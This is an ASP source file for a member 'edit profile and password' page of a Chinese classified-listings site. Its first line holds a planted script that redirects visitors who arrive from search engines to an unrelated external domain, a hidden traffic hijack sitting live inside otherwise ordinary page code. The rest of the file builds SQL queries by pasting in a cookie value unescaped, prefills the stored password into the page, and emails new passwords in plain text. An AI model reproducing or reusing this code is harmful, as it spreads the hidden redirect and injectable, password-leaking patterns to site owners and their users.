d:\wwwroot\wuchunhua\user_edit.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="usercookies.asp"-->
003: <!--#include file="inc/kqiqi_sub.asp"-->
004: <!--#include file="inc/kqiqi_fuction.asp"-->
005: <!--#include file="inc/md5.asp"-->
006: <!--#include file="inc/function.asp"-->
007: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
008: <html xmlns="http://www.w3.org/1999/xhtml">
009: <head>
010: <meta http-equiv="Content-Language" content="zh-cn">
011: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
012: <title><%=title%>-会员管理中心-修改资料</title>
013: <link rel="icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
014: <link rel="shortcut icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
015: <link href="inc/style.css" rel="stylesheet" type="text/css" />
016: </head>
017: <SCRIPT language=javascript>
018: <!--
019: function CheckForm()
020: {
021: if(document.thisForm.username.value.length<1)
022:    {
023:        alert("用户名没有填写!");
024:        document.thisForm.username.focus();
025:        return false;
026:    }
027: if(document.thisForm.password.value.length<6)
028:    {
029:        alert("密码没有填写或小于6位!");
030:        document.thisForm.password.focus();
031:        return false;
032:    }
033: if (document.thisForm.name.value.length == 0) {
034:       alert("请您填写姓名!");
035:       document.thisForm.name.focus();
036:       return false;
037:    }
038:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
039:    var errorChar
040:    errorChar = isCharsInBag(thisForm.name.value,str)
041:    if (errorChar != "" )
042:    {
043:       alert('姓名必须是中文!');
044:       thisForm.name.focus();
045:       return false;
046:    }
047: function isCharsInBag (s, bag)
048: {
049: var i,c;
050: for (i = 0; i < s.length; i++)
051: {
052: c = s.charAt(i);//字符串s中的字符
053: if (bag.indexOf(c) > -1)
054: return c;
055: }
056: return "";
057: }
058:
059: if(document.thisForm.name.value.length<2||document.thisForm.name.value.length>4)
060:    {
061:        alert("姓名不能少于2字多于4字!");
062:         document.thisForm.name.focus();
063:         document.thisForm.name.select();
064:        return false;
065:    }
066:
067: if(document.thisForm.dianhua.value.length<7)
068:    {
069:        alert("联系电话没有填写或小于7位数!");
070:        document.thisForm.dianhua.focus();
071:        return false;
072:    }
073: }
074:
075: //-->

076: </SCRIPT>
077: <body>
078: <%
079: dim edit,pass2,pass3
080: edit=Request.form("edit")
081: pass2=Request.form("pass2")
082: pass3=Request.form("pass3")
083: username=request.cookies("kqiqi")("username")
084: set rs = Server.CreateObject("ADODB.RecordSet")
085: sql="select * from [user] where username='"&username&"'"
086: rs.open sql,conn,1,1
087: if rs.eof then
088: response.write "<br>"
089: response.write "<li>参数错误!"
090: response.end
091: end if
092: %
>
093: <div id="Fmain">
094: <div id="header">
095: <%call top()%>
096: </div>
097: <div class=kon></div>
098: <div id="Uleft">
099:   <div id=FFTit class=F12bold>会员管理中心</div><div id=FFContent><div Class='FFdiv'>
100:   <!--#include file=userleft.asp-->
101:   </div></div></div>
102: <div id="Uright">
103:   <div id=FFTit class=F12bold>会员管理中心-修改资料</div><div id=FFContent><div Class='FFdiv'>
104: <%if edit="" then %>
105: <form method="POST" name="thisForm" action="user_edit.asp">
106: <table width="100%" border="0" cellspacing="0" cellpadding="0" class="td">
107: <tr>
108: <td height="27" width="30%" align="right">
109: 登陆帐号:</td>
110: <td height="25" width="68%"><font style="font-size: 11pt"> &nbsp;<%=rs("username")%></font></td>
111: </tr>                                                      
112: <tr>
113: <td height="27" width="30%" align="right">
114: 原密码:</td>
115: <td height="25" width="68%">
116: &nbsp;<input name="pass1" size="20" value="<%=rs("password")%>" type="password">
117: 不修改密码,保留不变</td>
118: </tr>                                                      
119: <tr>
120: <td height="27" width="30%" align="right">
121: 新密码:</td>
122: <td height="25" width="68%">
123: &nbsp;<input type="password" name="pass2" size="20">
124: 不修改密码,留空</td>
125: </tr>                                                      
126: <tr>
127: <td height="27" width="30%" align="right">
128: 确认新密码:</td>
129: <td height="25" width="68%">
130: &nbsp;<input type="password" name="pass3" size="20">
131: 不修改密码,留空</td>
132: </tr>                                                      
133: <tr>
134: <td height="23" width="30%" align="right">
135: <p>姓名:</td>
136: <td height="23" width="68%">
137: &nbsp;<input type="text" maxlength="12" name="name" size="20" value="<%=rs("name")%>"><font color="#FF0000">
138: *</font></td>
139: </tr>                                                      
140: <tr>
141: <td height="31" width="30%" align="right">
142: <p align="right">邮件地址:</td>
143: <td height="31" width="68%">
144: &nbsp;<input type="text" maxlength="30" name="email" size="20" value="<%=rs("email")%>"></td>
145: </tr>
146: <tr>
147: <td height="27" width="30%">
148: <p align="right">联系电话:</td>
149: <td height="25" width="68%">
150: &nbsp;<input type="text" maxlength="24" name="dianhua" size="20" value="<%=rs("dianhua")%>" ><font color="#FF0000">
151: *</font></td>
152: </tr>
153: <tr>
154: <td height="27" width="30%" align="right">
155: QQ:</td>
156: <td height="25" width="68%">
157: &nbsp;<input type="text" maxlength="10" name="qq" size="20" value="<%=rs("qq")%>" ></td>
158: </tr>
159: <tr>
160: <td height="27" width="30%">
161: <p align="right">通信地址:</td>
162: <td height="25" width="68%">
163: &nbsp;<input type="text" maxlength="50" name="dizhi" size="35" value="<%=rs("dizhi")%>" ></td>
164: </tr>
165: <tr>
166: <td height="50" colspan="2">
167: <p align="center">
168: <input type="submit" onclick="javascript:return CheckForm();" value="提交修改" name="edit"></td>
169: </tr>                                    
170: </table>
171: </form>
172: <%else
173: if pass2="" or pass3="" then
174: username=request.cookies("kqiqi")("username")
175: name=HtmlEncode(trim(request("name")))
176: password=trim(request("password"))
177: email=HtmlEncode(trim(request("email")))
178: dianhua=HtmlEncode(trim(request("dianhua")))
179: qq=HtmlEncode(trim(request("qq")))
180: dizhi=HtmlEncode(trim(request("dizhi")))
181: chkkqiqi(name)
182:
183: set rs=server.createobject("adodb.recordset")
184: sql="select name,email,dianhua,qq,dizhi,zcdata from [user] where username='"&username&"'"
185: rs.open sql,conn,1,3
186: rs("name")=name
187: rs("email")=email
188: 'rs("idcard")=idcard
189: rs("dianhua")=dianhua
190: rs("qq")=qq
191: rs("dizhi")=dizhi
192: rs("zcdata")=now()
193: rs.update
194: rs.close
195: set rs=nothing
196: closedb
197: response.write "<center>用户资料修改成功!!</center>"
198: response.write "<meta http-equiv=refresh content=""1;URL=user_edit.asp"">"
199: else%
>
200: <%
201: if pass2<>pass3 then
202: response.write "<script language=JavaScript>" & chr(13) & "alert('两次密码输入不同,返回重新输入!!');" & "window.location='user_edit.asp'" & "</script>"
203: response.end
204: end if
205: username=request.cookies("kqiqi")("username")
206: %
>
207: <table border="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#111111" width="582">
208: <tr>
209: <td valign="top" align="center" bgcolor="#FFFFFF">
210: <p align="left"><%
211: set rs=server.createobject("adodb.recordset")
212: sql="select password,username,email from [user] where username='"&username&"'"
213: rs.open sql,conn,1,3
214: username=trim(rs("username"))
215: email=trim(rs("email"))
216: rs("password")=md5(pass2)
217: rs.update
218: response.write "<li>修改密码成功,同时我们已经将您的新密码发送到|<b>"&email&"</b>|,请保管好您的新密码!"
219: call mail()
220: response.write "<meta http-equiv=refresh content=""1;URL=user_edit.asp"">"
221: Response.cookies("kqiqi")=""
222: rs.close
223: set rs=nothing
224: closedb
225: %
></td></tr></table><%
226: sub mail()
227: dim mailbody,Jmail
228: mailbody="您好,"&username&"!<br>您已成功修改了密码!现在资料为:登陆帐号:[<b>"&username&"</b>] 您的新密码是:[<b>"&pass2&"</b>]<br> 欢迎登陆<a target=_blank  href="&web&">"&title&""&web&"</a> 发布您的信息!<br>感谢您使用我们<a target=_blank  href="&web&">"&title&"</a>为您提供的真诚服务!<br>["&title&"]打造全国最大、最专业的信息发布平台<br>如果您也想建一个这样的本地分类信息网,请联系服务热线:13480962836   QQ:3955233"   '邮件内容
229: Set Jmail=server.createobject("Jmail.Message")
230: Jmail.Charset ="gb2312"
231: JMail.ContentType = "text/html"
232: Jmail.Silent =true
233: Jmail.Priority = 3
234: Jmail.MailServerUserName = mailname
235: Jmail.MailServerPassword = mailpass
236: Jmail.From = mailform
237: Jmail.FromName =""&title&""
238: Jmail.Subject ="密码修改成功!-"&title&""
239: Jmail.AddRecipient ""&email&""
240: Jmail.Body = mailbody
241: Jmail.Send(mailsmtp)
242: Set Jmail=nothing
243: end sub
244: %
><%
245: end if
246: end if%
>
247: </div></div></div>
248: <br style="clear:both;" />
249: <div class=kon></div>
250: <div class=kon></div>
251: <div id="footer">
252: <%
253: call bottom()
254: %
>
255: </div>
256: </div>
257:
258: </body>
259: </html>
260:
261: